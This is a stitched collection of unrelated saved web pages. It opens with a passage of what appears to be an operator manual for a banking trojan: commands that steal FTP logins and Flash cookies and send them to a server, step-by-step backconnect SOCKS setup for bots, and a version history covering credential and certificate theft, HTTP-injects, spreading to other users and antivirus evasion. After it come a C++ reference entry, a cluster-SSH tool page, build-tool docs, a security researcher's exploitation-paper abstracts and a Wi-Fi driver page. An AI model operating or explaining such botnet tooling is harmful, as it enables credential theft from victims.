"http://www.google.com/".  
---|---  
user\_homepage\_set| Forcing the homepage will be disabled.  
  * **user\_ftpclients\_get**
Get a list of all FTP-logins of all known FTP-clients. _This command is not
available in all builds of the software._

  * **user\_flashplayer\_get**
Create an archive "flashplayer.cab" from \(\*.sol\) cookies of Adobe Flash
Player \(%APPDATA%\Macromedia\Flash Player\) of the current user, and send it
to the server.

  * **user\_flashplayer\_remove**
Remove all \(\*.sol\) cookies of Adobe Flash Player
\(%APPDATA%\Macromedia\Flash Player\) of the current user.

## Working with the Backonnect-server

Working with the BackConnect with example.

  * Backconnect-server IP-address: 192.168.100.1.
  * Port for bot: 4500.
  * Port for the client application: 1080.
  * Bot service: socks.

  1. Run a server application \(zsbcs.exe or zsbcs64.exe\) on the server having its own IP-address on the Internet, for application indicated port, which waits for a connection from a bot, and the port which will connect the client application. For example zsbcs.exe listen -cp:1080 -bp:4500, where 1080 - client port, 4500 - port for the bot.
  2. Necessary to send command to bot "bot\_bc\_add socks 192.168.100.1 4500".
  3. Now you need to wait for a connection from the bot to the server, in this period, any attempt to connect the client application will be ignored \(will take disconnect from the client\). The sign of the connected bot will be output to the console server line "Accepted new conection from bot...".
  4. After connecting the bot, you can work with your client application. I.e. You simply connect to the server to the client port \(in this case 1080\). For example, if you are giving socks commands, then on the client port you would expect Socks-server.
  5. After that, when you do not need Backconnect from the bot for a specific service, should issue the command "bot\_bc\_remove socks 192.168.100.1 4500".

**NOTES:**

  1. You can specify any number of Backconnects \(i.e. bot\_bc\_add\), but they should not be a common combination of IP + Port. But if there is such a combination, will run the first added.
  2. For each Backconnect, you must run a separate server application.
  3. In case of disconnection \(server down, drop bot, etc.\), the bot will reconnect to the server indefinitely \(even after restarting PC\), until Backconnect will not be removed \(i.e. bot\_bc\_remove\).
  4. As a service for bot\_bc\_add, you can use any open port at the address 127.0.0.1.
  5. Server application supports IPv6, but currently this support is not particularly relevant.
  6. You can launch the server application under Wine. Writing the same elf application is not currently scheduled.
  7. It is highly recommended to use for the bp server application popular ports \(80, 8080, 443 etc.\), i.e. other ports may be blocked by the provider that owns the bot.
  8. Not to be allowed to subscribe different bots on one and the same server port at the same time.
  9. The method of such a connection might be useful for bots, which are outside the NAT, i.e. sometimes WIndows firewall of providers, may block the Internet connection.

## F.A.Q.

  * **What do the numbers in the version?**
Format version **a**.**b**.**c**.**d** , where:

    * **a** \- a complete change in the bot device.
    * **b** \- major changes, that cause complete or partial incompatibility with previous versions.
    * **c** \- bug fixes, improvements, adding features.
    * **d** \- cleaning issue from antivirus for the current version a.b.c.
  * **How is generated Bot ID?**
Bot ID consists of two parts: %name%\_%number%, where name - computer name
\(result of GetComputerNameW\), a number - a certain number, generated based
on some unique OS data.

  * **Why traffic is encrypted with symmetric encryption method \(RC4\), but not asymmetric \(RSA\)?**
Because, in the use of sophisticated algorithms it makes no sense, encryption
only needs to hide traffic. Plus in the RSA only, not knowing the key that is
in the Control panel, will not be able to emulate its answers. And what's the
point to defend against this?

## Version history

  * **Version 2.0.0.0, 01.04.2010**
    1. Full compatible with previous versions.
    2. Since the core of the bot is aimed at Windows Vista+, and the bot will never use privilege escalation, etc., bot is working within a single user. But the basic attempts to infect other Windows users are made \(usually effective in cases of disabling UAC, or run from under LocalSystem\).
    3. Arbitrary file names, mutexes, etc.
    4. Completely rewritten bot core, the installation process in the system to send reports to the Control panel.
    5. At installation, the bot recrypts his body, thus preserves a unique copy of the exe-file on each computer.
    6. Binding bot to computer by modifying/deleting some data in the exe-file.
    7. Valuable work with x32 applications in Windows x64.
    8. Delete the original bot file, after execution, regardless of the outcome of performance.
    9. Valuable work in parallel sessions for "Terminal Services".
    10. When run as the LocalSystem user, an attempt is made to infect all system users.
    11. Removed the option "StaticConfig.blacklist\_languages".
    12. The name of the botnet is limited to 20 characters and can contain any international characters.
    13. The configuration file is read in UTF-8 encoding.
    14. Removed the option "StaticConfig.url\_compip".
    15. A new method for determining the NAT.
    16. You can not upgrade a new version of the bot on an old one.
    17. When updating bot is a complete update immediately, without waiting for a reboot.
    18. At the moment, due to some reasons, hide bot files will not run at all.
    19. Removed "Protected Storage" grabber, because starting with IE7, it is no longer used.
    20. With regard to the unreliability of the old system of counting "Installs" the bot is counted automatically as "Install" when added to database.
    21. A new way to get IE cookies.
    22. Improved back-connect protocol.
    23. Because the "light-mode" builder is designed to test and debug HTTP-injects and HTTP-fakes, it has some limitations on assembly of the configuration file.
    24. Complicated to discover the bot traffic.
    25. Complete \(as with wininet.dll\) to work with nspr4.dll, but without HTTP-fakes.
  * **Version 2.0.1.0, 28.04.2010**
Now using an external crypter, with respect to these canceled some features of
the previous version:

    1. Modified to bind to the user/OS.
    2. Bot is no longer able to recrypt itself during installation.
    3. Minor improvements to HTTP-injects.
  * **Version 2.0.2.0, 10.05.2010**
    1. Forced change of Mozilla Firefox security settings for normal HTTP-injects.
    2. Command "user\_homepage\_set" uses home page is mandatory for IE and Firefox \(i.e. the page will be restored even if the user makes a change\) as long as no command is canceled.
  * **Version 2.0.3.0, 19.05.2010**
    1. With regard to the fact that HTTP-injects are mostly written by people who understand little of HTTP, HTML, etc., removed warning "\*NO MATCHES FOUND FOR CURRENT MASK\*". Because due to abuse of the mark "\*" masked URL, this warning appears very often.
  * **Version 2.0.4.0, 31.05.2010**
    1. In control panel, fixed a bug in the module "Botnet-> Bots", which does not allow to search by IP.
    2. In the configuration file, added the option "StaticConfig.remove\_certs", to disable the automatic deletion of certificates from the user store when install the bot.
    3. In the configuration file, added the option "StaticConfig.disable\_tcpserver", which allows you to disable the TCP-server \(DISABLE: socks-server, screenshots in real time\). This option is introduced to prevent warnings from the "Windows Firewall".
    4. Ripped certificates stored on the server with an indication of the user, from which they are received.
  * **Version 2.0.5.0, 08.06.2010**
    1. For scripts added commands "bot\_httpinject\_enable" an "bot\_httpinject\_disable".
    2. Fixed minor bugs in HTTP-grabber.
  * **Version 2.0.6.0, 22.06.2010**
    1. In nspr4.dll, in a particular format of the HTTP-response from server, this reply was not analyzed correctly \(resulting, for example, in disabling the HTTP-injects\).
  * **Version 2.0.7.0, 15.07.2010**
    1. Disable the built-in bot encryption.
  * **Version 2.0.8.0, 17.08.2010**
    1. To the parameters HTTP-injects was added a new option "I" \(compare URL insensitive\) and "C" \(comparison of context insensitive\). 
  * **Version 2.1.0.0, 20.03.2011**
    1. RDP + VNC BACKCONNECT ADDED 

# hex - C++ Reference

**Created:**| _1/6/2011 1:41:28 PM_  
---|---  
**Updated:**| _1/6/2011 1:41:28 PM_  
**Author:**| __  
**Tags:**| _C++ programming_  
  

# hex

  
manipulator function

`<ios>`

[code]

    ios_base& hex ( ios_base& str );
[/code]

**Use hexadecimal base**

Sets the `basefield` format flag for the _str_ stream to `hex`.  
  
When `basefield` is set to `hex`, integral numerical values inserted into the
stream are expressed in the hexadecimal base \(radix 16\). For input streams,
extracted values are also expected to be expressed in the hexadecimal base
when this flag is set.  
  
The `basefield` format flag can take any of the following values \(each with
its own manipulator\):  
flag value| effect when set  
---|---  
dec| read/write integral values using decimal base format.  
`hex`| read/write integral values using hexadecimal base format.  
oct| read/write integral values using octal base format.  
  
  
The `basefield` flag is set to **dec** in standard streams on initialization.  
  
Notice that the `basefield` flag only affects the insertion/extraction of
integer values. Floating-point values are always treated in the decimal base.  
  
Notice also that no base prefix is implicitly prepended to the number unless
the showbase format flag is set.  

# csshx - Cluster SSH tool for Mac OS X Terminal.app - Google Project Hosting

**Created:**| _8/20/2013 12:04:54 PM_  
---|---  
**Updated:**| _8/20/2013 12:04:54 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# **C** luster SSH tool for Mac OS X Terminal.app****

Project Information

Starred by 183 users

**Members**

Featured

**Downloads**

**Wiki pages**

Links

**csshX** is a tool to allow simultaneous control of multiple SSH
sessions**.** **csshX** will attempt to create an SSH session to each remote
host in separate **Terminal.app** windows**.** A master window will also be
created. All keyboard input in the master will be sent to all the slave
windows**.**

<img src='http://csshx.googlecode.com/svn/images/csshX.png' />

Advanced features include enabling and disabling individual terminals, window
layout and size controls, wild-card host-names, subnet scanning**.**

For full details, please see the manual page **.**

This software currently works on **Intel/PPC OS-X 10**.** 5, 10.6 and 10.7
\(32 and 64 bit\)****.** An older version  is available for **OS-X 10**.**
4****.**

****

# BinPlace Destination Directories \(Windows Drivers\)

**Created:**| _4/30/2012 2:27:29 PM_  
---|---  
**Updated:**| _4/30/2012 2:27:29 PM_  
**Author:**| __  
**Tags:**| _Debugging symbols_  
  

# BinPlace Destination Directories

This topic has not yet been rated \- Rate this topic

###

BinPlace creates a directory tree to hold the files it is placing. The
structure of that tree is determined by the parameters that are passed to
BinPlace's command line, the values of certain environment variables, and the
contents of a text file known as a _place file_.

BinPlace will place files if one of two conditions is met:

  1. The file is specified on the BinPlace command line.
  2. The file is a symbol file residing in the same directory as its associated executable file, and the executable file is specified on the command line. In this case, the symbol file and the executable file will be placed in different directories. BinPlace may also perform splitting or stripping \(see Public Symbols and Private Symbols\) or stripping \(see Symbol File Systems\) in this scenario.

When BinPlace places files, it will automatically overwrite an older file with
the same name. However, BinPlace will not, by default, overwrite a newer file.
In particular, if a newer \(or identical\) version of an executable file is
present, neither the executable file nor any associated symbol files will be
written to the disk. If you wish BinPlace to overwrite files regardless of
their timestamp, use the **-f** command-line option.

#### File Destinations

The name of the directory into which BinPlace places any file specified on its
command line is created by concatenating two directories: the _root
destination directory_ and the _class subdirectory_. \(The directories can
have any names you choose, but typically the root destination directory is the
root of the directory tree where you are placing your files, and the class
subdirectory is a subdirectory where it seems logical to place a specific file
or group of files.\)

  * The root destination directory can be specified by using the -r RootDestinationPath command-line parameter. If this is omitted, the default is determined by the \_NT386TREE, \_NTIA64TREE, or \_NTAMD64TREE environment variable on an x86-based, Itanium-based, or x64-based computer, respectively. The root destination directory must be defined in one of these ways; if it is not defined at all, BinPlace will not run.
  * The class subdirectory is usually specified in the place file. It is possible to specify multiple class subdirectories for one file; this causes BinPlace to make copies of the file and place them in each of the specified locations. See **Place File Syntax** for full details. The class subdirectory can also be specified by using the -:DEST ClassPath command-line parameter.

#### Symbol File Destinations

When an executable file is listed on BinPlace's command line and there is an
associated symbol file in the same directory, BinPlace will copy \(or alter\)
the symbol file as well. The directory in which this symbol file is placed is
created by concatenating three directories: the _symbol root directory_ , the
_class subdirectory_ , and the _file-type subdirectory_.

  * The symbol root directory can be specified by using the -s SymbolRoot command-line parameter. If you are using the **-a** and **-x** switches, stripped symbol files will be placed under the _SymbolRoot_ directory -- in this case, you can use -n FullSymbolRoot to specify the location of full symbol files.
  * The class subdirectory is usually specified in the place file. It is possible to specify multiple class subdirectories for one file; this causes BinPlace to make copies of the file and place them in each of the specified locations. See **Place File Syntax** for full details. The class subdirectory can also be specified by using the -:DEST ClassPath command-line parameter. And if the **-y** command-line switch is used, no class subdirectory will be used for symbol files -- the destination directory will simply consist of the symbol root directory plus the file-type subdirectory.
  * The file-type subdirectory is only used for symbol files. It is determined by the file name extension of the original executable file. Thus, symbol files associated with .exe files will be placed in an exe subdirectory, symbol files associated with DLLs will be placed in a dll subdirectory, and symbol files associated with drivers will be placed in a sys subdirectory. This convention helps to avoid file name conflicts -- for example, myprogram.exe and myprogram.dll might both have symbol files named myprogram.pdb, but these symbol files will be placed in different subdirectories. 

There is one exception to this algorithm. If neither **-s** nor **-n** is
supplied, the full symbol files will be placed in the same location as the
binaries.

**Note** If you list the symbol file name in BinPlace's command line, BinPlace
will move it like any other file and will not examine its contents. To use
BinPlace's symbol file manipulation techniques, you must list the executable
file name, not the symbol file name.

# mmiller \[at\] hickorg

**Created:**| _6/25/2009 3:33:05 PM_  
---|---  
**Updated:**| _6/25/2009 3:33:23 PM_  
**Author:**| __  
**Tags:**| _security security people_  
  
  

# Interests

  * Exploitation techniques
  * Exploitation mitigations
  * Program analysis & modeling
  * Reverse engineering
  * Rootkits
  * Virtualization

# Software

metasploit  
An advanced, open-source exploitation framework.

wehntrust  
An implementation of Address Space Layout Randomization \(ASLR\) for Windows
2000, XP, and 2003 Server.

x64auto  
IDA plugin designed to provide additional information when analyzing x64 PE
files.

winstrace  
A user-mode system call tracing utility for Windows.

memgrep  
A dynamic memory analysis utility for Linux and FreeBSD.

# Presentations

The Evolution of Microsoft's Exploit Mitigations \(Blue Hat Fall 2008\)

Avoiding Driver Security Pitfalls \(DDC 2008\)

Modeling the trust boundaries created by securable objects \(WOOT 2008\)

State of the Exploit \(Seattle ToorCon 2008\)

A Brief History of Exploitation Techniques and Mitigations on Windows
\(BreakPoint 2007\)

Cthulhu: A software analysis framework built on Phoenix \(ToorCon 2007\)

Exploitation Chronomancy \(ToorCon 2005\)

Beyond EIP \(Black Hat USA 2005\)

# Papers

Using dual-mappings to evade automated unpackers \(Oct, 2008\)  
Automated unpackers such as Renovo, Saffron, and Pandora's Bochs attempt to
dynamically unpack executables by detecting the execution of code from regions
of virtual memory that have been written to. While this is an elegant method
of detecting dynamic code execution, it is possible to evade these unpackers
by dual-mapping physical pages to two distinct virtual address regions where
one region is used as an editable mapping and the second region is used as an
executable mapping. In this way, the editable mapping is written to during the
unpacking process and the executable mapping is used to execute the unpacked
code dynamically. This effectively evades automated unpackers which rely on
detecting the execution of code from virtual addresses that have been written
to.

Modeling the trust boundaries created by securable objects \(Jul, 2008\)  
One of the most critical steps of any security review involves identifying the
trust boundaries that an application is exposed to. While methodologies such
as threat modeling can be used to help obtain this understanding from an
application's design, it can be difficultcult to accurately map this
understanding to an application's implementation. This difficultculty suggests
that there is a need for techniques that can be used to gain a better
understanding of the trust boundaries that exist within an application's
implementation.  
  
To help address this problem, this paper describes a technique that can be
used to model the trust boundaries that are created by securable objects on
Windows. Dynamic instrumentation is used to generate object trace logs which
describe the contexts in which securable objects are defned, used, and have
their security descriptor updated. This information is used to identify the
data flows that are permitted by the access rights granted to securable
objects. It is then shown how these data flows can be analyzed to gain an
understanding of the trust boundaries, threats, and potential elevation paths
that exist within a given system.

Improving Software Security Analysis using Exploitation Properties \(Dec,
2007\)  
Reliable exploitation of software vulnerabilities has continued to become more
difficult as formidable mitigations have been established and are now included
by default with most modern operating systems. Future exploitation of software
vulnerabilities will rely on either discovering ways to circumvent these
mitigations or uncovering flaws that are not adequately protected. Since the
majority of the mitigations that exist today lack universal bypass techniques,
it has become more fruitful to take the latter approach. It is in this vein
that this paper introduces the concept of exploitation properties and
describes how they can be used to better understand the exploitability of a
system irrespective of a particular vulnerability. Perceived exploitability is
of utmost importance to both an attacker and to a defender given the presence
of modern mitigations. The ANI vulnerability \(MS07-017\) is used to help
illustrate these points by acting as a simple example of a vulnerability that
may have been more easily identified as code that should have received
additional scrutiny by taking exploitation properties into consideration.

A Catalog of Local Windows Kernel-mode Backdoor Techniques \(Aug, 2007\)  
This paper presents a detailed catalog of techniques that can be used to
create local kernel-mode backdoors on Windows. These techniques include
function trampolines, descriptor table hooks, model-specific register hooks,
page table modifications, as well as others that have not previously been
described. The majority of these techniques have been publicly known far in
advance of this paper. However, at the time of this writing, there appears to
be no detailed single point of reference for many of them. The intention of
this paper is to provide a solid understanding on the subject of local kernel-
mode backdoors. This understanding is necessary in order to encourage the
thoughtful discussion of potential countermeasures and perceived advancements.
In the vein of countermeasures, some additional thoughts are given to the
common misconception that PatchGuard, in its current design, can be used to
prevent kernel-mode rootkits.

Generalizing Data Flow Information \(Aug, 2007\)  
Generalizing information is a common method of reducing the quantity of data
that must be considered during analysis. This fact has been plainly
illustrated in relation to static data flow analysis where previous research
has described algorithms that can be used to generalize data flow information.
These generalizations have helped support more optimal data flow analysis in
certain situations. In the same vein, this paper describes a process that can
be employed to generalize and persist data flow information along multiple
generalization tiers. Each generalization tier is meant to describe the data
flow behaviors of a conceptual software element such as an instruction, a
basic block, a procedure, a data type, and so on. This process makes use of
algorithms described in previous literature to support the generalization of
data flow information. To illustrate the usefulness of the generalization
process, this paper also presents an algorithm that can be used to determine
reachability at each generalization tier. The algorithm determines
reachability starting from the least specific generalization tier and uses the
set of reachable paths found to progressively qualify data flow information
for each successive generalization tier. This helps to constrain the amount of
data flow information that must be considered to a minimal subset.

Memalyze: Dynamic Analysis of Memory Access Behavior in Software \(Apr, 2007\)  
This paper describes strategies for dynamically analyzing an application's
memory access behavior. These strategies make it possible to detect when a
read or write is about to occur at a given location in memory while an
application is executing. An application's memory access behavior can provide
additional insight into its behavior. For example, it may be able to provide
an idea of how data propagates throughout the address space. Three individual
strategies which can be used to intercept memory accesses are described in
this paper. Each strategy makes use of a unique method of intercepting memory
accesses. These methods include the use of Dynamic Binary Instrumentation
\(DBI\), x86 hardware paging features, and x86 segmentation features. A
detailed description of the design and implementation of these strategies for
32-bit versions of Windows is given. Potential uses for these analysis
techniques are described in detail.

Reducing the Effective Entropy of GS Cookies \(Mar, 2007\)  
This paper describes a technique that can be used to reduce the effective
entropy in a given GS cookie by roughly 15 bits. This reduction is made
possible because GS uses a number of weak entropy sources that can, with
varying degrees of accuracy, be calculated by an attacker. It is important to
note, however, that the ability to calculate the values of these sources for
an arbitrary cookie currently relies on an attacker having local access to the
machine, such as through the local console or through terminal services. This
effectively limits the use of this technique to stack-based local privilege
escalation vulnerabilities. In addition to the general entropy reduction
technique, this paper discusses the amount of effective entropy that exists in
services that automatically start during system boot. It is hypothesized that
these services may have more predictable states of entropy due to the relative
consistency of the boot process. While the techniques described in this paper
do not illustrate a complete break of GS, any inherent weakness can have
disastrous consequences given that GS is a static, compile-time security
solution. It is not possible to simply distribute a patch. Instead,
applications must be recompiled to take advantage of any security
improvements. In that vein, the paper proposes some solutions that could be
applied to address the problems that are outlined.

Locreate: An Anagram for Relocate \(Dec, 2006\)  
This paper presents a proof of concept executable packer that does not use any
custom code to unpack binaries at execution time. This is different from
typical packers which generally rely on packed executables containing code
that is used to perform the inverse of the packing operation at runtime.
Instead of depending on custom code, the technique described in this paper
uses documented behavior of the dynamic loader as a mechanism for performing
the unpacking operation. This difference can make binaries packed using this
technique more difficult to signature and analyze, but only when presented to
an untrained eye. The description of this technique is meant to be an example
of a fun thought exercise and not as some sort of revolutionary packer. In
fact, it's been used in the virus world many years prior to this paper.

Exploiting 802.11 Wireless Driver Vulnerabilities on Windows \(Nov, 2006\)  
This paper describes the process of identifying and exploiting 802.11 wireless
device driver vulnerabilities on Windows. This process is described in terms
of two steps: pre-exploitation and exploitation. The pre-exploitation step
provides a basic introduction to the 802.11 protocol along with a description
of the tools and libraries the authors used to create a basic 802.11 protocol
fuzzer. The exploitation step describes the common elements of an 802.11
wireless device driver exploit. These elements include things like the
underlying payload architecture that is used when executing arbitrary code in
kernel-mode on Windows, how this payload architecture has been integrated into
the 3.0 version of the Metasploit Framework, and the interface that the
Metasploit Framework exposes to make developing 802.11 wireless device driver
exploits easy. Finally, three separate real world wireless device driver
vulnerabilities are used as case studies to illustrate the application of this
process. It is hoped that the description and illustration of this process can
be used to show that kernel-mode vulnerabilities can be just as dangerous and
just as easy to exploit as user-mode vulnerabilities. In so doing, awareness
of the need for more robust kernel-mode exploit prevention technology can be
raised.

Preventing the Exploitation of SEH Overwrites \(Sep, 2006\)  
This paper proposes a technique that can be used to prevent the exploitation
of SEH overwrites on 32-bit Windows applications without requiring any
recompilation. While Microsoft has attempted to address this attack vector
through changes to the exception dispatcher and through enhanced compiler
support, such as with /SAFESEH and /GS, the majority of benefits they offer
are limited to image files that have been compiled to make use of the compiler
enhancements. This limitation means that without all image files being
compiled with these enhancements, it may still be possible to leverage an SEH
overwrite to gain code execution. In particular, many third-party applications
are still vulnerable to SEH overwrites even on the latest versions of Windows
because they have not been recompiled to incorporate these enhancements. To
that point, the technique described in this paper does not rely on any compile
time support and instead can be applied at runtime to existing applications
without any noticeable performance degradation. This technique is also
backward compatible with all versions of Windows NT+, thus making it a viable
and proactive solution for legacy installations.

Implementing a Custom x86 Encoder \(Aug, 2006\)  
This paper describes the process of implementing a custom encoder for the x86
architecture. To help set the stage, the McAfee Subscription Manager ActiveX
control vulnerability, which was discovered by eEye, will be used as an
example of a vulnerability that requires the implementation of a custom
encoder. In particular, this vulnerability does not permit the use of
uppercase characters. To help make things more interesting, the encoder
described in this paper will also avoid all characters above 0x7f. This will
make the encoder both UTF-8 safe and tolower safe.

Exploiting the Otherwise Non-exploitable on Windows \(May, 2006\)  
This paper describes a technique that can be applied in certain situations to
gain arbitrary code execution through software bugs that would not otherwise
be exploitable, such as NULL pointer dereferences. To facilitate this, an
attacker gains control of the top-level unhandled exception filter for a
process in an indirect fashion. While there has been previous work
illustrating the usefulness in gaining control of the top-level unhandled
exception filter, Microsoft has taken steps in XPSP2 and beyond, such as
function pointer encoding\[4\], to prevent attackers from being able to
overwrite and control the unhandled exception filter directly. While this
security enhancement is a marked improvement, it is still possible for an
attacker to gain control of the top-level unhandled exception filter by taking
advantage of a design flaw in the way unhandled exception filters are chained.
This approach, however, is limited by an attacker's ability to control the
chaining of unhandled exception filters, such as through the loading and
unloading of DLLs. This does reduce the global impact of this approach;
however, there are some interesting cases where it can be immediately applied,
such as with Internet Explorer.

Improving Automated Analysis of Windows x64 Binaries \(Apr, 2006\)  
As Windows x64 becomes a more prominent platform, it will become necessary to
develop techniques that improve the binary analysis process. In particular,
automated techniques that can be performed prior to doing code or data flow
analysis can be useful in getting a better understanding for how a binary
operates. To that point, this paper gives a brief explanation of some of the
changes that have been made to support Windows x64 binaries. From there, a few
basic techniques are illustrated that can be used to improve the process of
identifying functions, annotating their stack frames, and describing their
exception handler relationships. Source code to an example IDA plugin is also
included that shows how these techniques can be implemented.

Bypassing PatchGuard on Windows x64 \(Dec, 2005\)  
The Windows kernel that runs on the x64 platform has introduced a new feature,
nicknamed PatchGuard, that is intended to prevent both malicious software and
third-party vendors from modifying certain critical operating system
structures. These structures include things like specific system images, the
SSDT, the IDT, the GDT, and certain critical processor MSRs. This feature is
intended to ensure kernel stability by preventing uncondoned behavior, such as
hooking. However, it also has the side effect of preventing legitimate
products from working properly. For that reason, this paper will serve as an
in-depth analysis of PatchGuard's inner workings with an eye toward techniques
that can be used to bypass it. Possible solutions will also be proposed for
the bypass techniques that are suggested.

Windows Kernel-mode Payload Fundamentals \(Dec, 2005\)  
This paper discusses the theoretical and practical implementations of kernel-
mode payloads on Windows. At the time of this writing, kernel-mode research is
generally regarded as the realm of a few, but it is hoped that documents such
as this one will encourage a thoughtful progression of the subject matter. To
that point, this paper will describe some of the general techniques and
algorithms that may be useful when implementing kernel-mode payloads.
Furthermore, the anatomy of a kernel-mode payload will be broken down into
four distinct units, known as payload components, and explained in detail. In
the end, the reader should walk away with a concrete understanding of the way
in which kernel-mode payloads operate on Windows.

Bypassing Windows Hardware-enforced Data Execution Prevention \(Oct, 2005\)  
This paper describes a technique that can be used to bypass Windows hardware-
enforced Data Execution Prevention \(DEP\) on default installations of Windows
XP Service Pack 2 and Windows 2003 Server Service Pack 1. This technique makes
it possible to execute code from regions that are typically non-executable
when hardware support is present, such as thread stacks and process heaps.
While other techniques have been used to accomplish similar feats, such as
returning into NtProtectVirtualMemory, this approach requires no direct
reprotecting of memory regions, no copying of arbitrary code to other
locations, and does not have issues with NULL bytes. The result is a feasible
approach that can be used to easily bypass the enhancements offered by
hardware-enforced DEP on Windows in a way that requires very minimal
modifications to existing exploits.

Temporal Return Addresses: Exploitation Chronomancy \(Aug, 2005\)  
Nearly all existing exploitation vectors depend on some knowledge of a
process' address space prior to an attack in order to gain meaningful control
of execution flow. In cases where this is necessary, exploit authors generally
make use of static addresses that may or may not be portable between various
operating system and application revisions. This fact can make exploits
unreliable depending on how well researched the static addresses were at the
time that the exploit was implemented. In some cases, though, it may be
possible to predict and make use of certain addresses in memory that do not
have static contents. This document introduces the concept of temporal
addresses and describes how they can be used, under certain circumstances, to
make exploitation more reliable.

Annoyances Caused by Unsafe Assumptions \(Apr, 2005\)  
This installation of What Were They Thinking illustrates some of the
annoyances that can be caused when developing software that has to inter-
operate with third-party applications. Two such cases will be dissected and
discussed in detail for the purpose of showing how third-party applications
can fail when used in conjunction with software that performs certain tasks.
The analysis of the two cases is meant to show how complex failure conditions
can be analyzed and used to determine inter-operability problems.

Post-Exploitation on Windows using ActiveX Controls \(Mar, 2005\)  
When exploiting software vulnerabilities it is sometimes impossible to build
direct communication channels between a target machine and an attacker's
machine due to restrictive outbound filters that may be in place on the target
machine's network. Bypassing these filters involves creating a post-
exploitation payload that is capable of masquerading as normal user traffic
from within the context of a trusted process. One method of accomplishing this
is to create a payload that enables ActiveX controls by modifying Internet
Explorer's zone restrictions. With ActiveX controls enabled, the payload can
then launch a hidden instance of Internet Explorer that is pointed at a URL
with an embedded ActiveX control. The end result is the ability for an
attacker to run custom code in the form of a DLL on a target machine by using
a trusted process that uses one or more trusted communication protocols, such
as HTTP or DNS.

Metasploit's Meterpreter \(Dec, 2004\)  
Meterpreter, short for The Meta-Interpreter, is an advanced payload that is
included in the Metasploit Framework. Its purpose is to provide complex and
advanced features that would otherwise be tedious to implement purely in
assembly. The way that it accomplishes this is by allowing developers to write
their own extensions in the form of shared object \(DLL\) ﬁles that can be
uploaded and injected into a running process on a target computer after
exploitation has occurred. Meterpreter and all of the extensions that it loads
are executed entirely from memory and never touch the disk, thus allowing them
to execute under the radar of standard Anti-Virus detection.

Safely Searching Process Virtual Address Space \(Sep, 2004\)  
This paper describes some techniques that can be used to search the virtual
address space of a process for a unique key as a part of running code that is
at an unknown location in memory. The code that is used to search the process
address space is designed to be extremely compact in order to make it useful
in scenarios where a particularly imposes limitations on the size of the
payload that can be used in the context of the initial overflow.

Remote Library Injection \(Apr, 2004\)  
The common methods currently employed to compromise comput- ers are
ineffective and easily detected by standard Anti-Virus practices. Despite
this, worm authors continue to use these same approaches, blindly hoping that
at least some of the hosts will remain infected long enough for the worm au-
thor to make use of them. An alternative to the standard methods of computer
compromise involves making use of a more complicated, yet high-yield,
solution: library injection. When used in conjunction with a remote
vulnerability, such as the DCOM vulnerability, library injection can lead to
an undetectable com- promise at the host level as far as current Anti-Virus
detection mechanisms are concerned. The impact from this is far-reaching; so
much so that a completely automated, high-retention, operating system
independent super-worm is an ever approaching reality.

Reverse Engineering: Memory Analysis \(Dec, 2003\)  
This paper describes some basic techniques that can be used to dynamically
analyze a program by inspecting the content of its address space at runtime.
The techniques presented are then applied to show how they can be used to
perform basic reverse engineering of a closed source game known as ADOM.

Understanding Windows Shellcode \(Dec, 2003\)  
This paper provides an exhaustive description of the structure and purpose of
windows shellcode. An in-depth walkthrough of various types of windows
payloads is given including reverse connect, port bind, file descriptor re-
use, and so on.

ELF binary signing and verification \(Jan, 2003\)  
This paper provides an introduction to binary signing of ELF executables.

Linux x86 run-time process manipulation \(Jan, 2003\)  
This paper illustrates run-time process manipulation techniques on Linux.

# SourceForge.net: zd1211 » home

**Created:**| _6/16/2009 6:43:52 PM_  
---|---  
**Updated:**| _6/16/2009 6:44:19 PM_  
**Author:**| __  
**Tags:**| _wifi seeking_  
  
ZyDAS ZD1211 802.11b/g USB WLAN chipset Linux drivers Initially contributed by
ZyDAS under the GPL license, the ZD1211 Linux driver is maintained by the open
source community. ZyDAS have been very friendly towards the community in terms
of providing a fully open source driver, freely distributable firmware,
technical specifications under non-distribution agreement, and answering
queries from developers. We hope other vendors will follow their great
example, and with the inclusion of a stable in-kernel driver we certainly
recommend this hardware as a worthwhile purchase for Linux users.  
  
After being acquired by Atheros, the chipset was renamed to **AR5007UG**. The
original drivers support the new hardware.  
  
Legalese: This is an unofficial website that is not affiliated or endorsed by
the ZyDAS corporation. Warranty disclaimer.  
  

## Chipset specifications

  

  * 802.11a/b/g support \(few sticks support 802.11a though\)
  * USB 2.0 support \(802.11b only on USB 1.1\)
  * typical current consumption: 150mA \(idle\), 200mA \(sending\)
  * WEP64/128/256, WPA-PSK
  * Station and Ad hoc mode

  

## Driver Status

  
There are 3 drivers for the ZD1211 chipset available, with varying features
and device support.  
  

### zd1211rw

  
**zd1211rw is the recommended driver** if you have no special requirements. It
is included in recent versions of the Linux kernel and is the only ZD1211
driver being actively developed and supported.  
  
It is a complete rewrite of the vendor driver. It lacks some features at this
point in time, but is very stable and the code is clean.  
  
The zd1211rw supported device table is hosted on linuxwireless.org. The driver
includes IDs not present in the other drivers, but the other drivers do
include some ID's for device which have not yet been tested with zd1211rw.  
  

### Vendor Driver

  
The vendor driver is a large driver written by ZyDAS using the GPL license. No
longer available for download from ZyDAS/Atheros. New versions are irregularly
being released through the community.  
  
It includes device ID's for a base set of devices only.  
  

### Vendor-based community driver

  
The vendor-based community driver is a driver based on an old version of the
vendor driver, adding PPC/ARM/MIPS/SMP support. De facto unmaintained
currently.  
  
It includes a collection of device ID's on top of the vendor driver base set.  
  

## Hardware supported

  
The zd1211rw hardware table lists all the hardware supported by the zd1211rw
driver in mainline Linux. This driver includes device ID's for some devices
not supported in the other drivers.  
  
The vendor and vendor-based drivers do include some ID's not yet included in
zd1211rw. We add these ID's to zd1211rw when someone tests it and sends a
success report.  
  
Hardware **not** yet supported by zd1211rw is listed in the table below. IDs
for the hardware listed below may or may not be present in the other drivers.  
  
Vendor/Name | Chipset | USB ID | Known RF Types  
---|---|---|---  
Abocom WUG2690 | zd1211b | 07b8:6001 | AL2230S   
ALFA AWUS036-Z| zd1211 | |   
ALFA AWUS036-SMA| zd1211 | |   
Allnet ALLSPOT ALL0298 | zd1211b | 0ace:a215 |   
AmbiCom WL54-USB White| zd1211 | |   
Bewan BWIFI-USB54AR | zd1211b | 07fa:1196 | AL2230S   
DrayTek Vigor 550| zd1211 | 0675:0550 |   
IO DATA WN-G54/USL| zd1211b | 04bb:0938 | AL2230\_RF   
Phillips SNU5600 | zd1211b | 0471:1236 | AL2230\_RF   
Planex GW-US54GZL| zd1211 | 2019:c007 |   
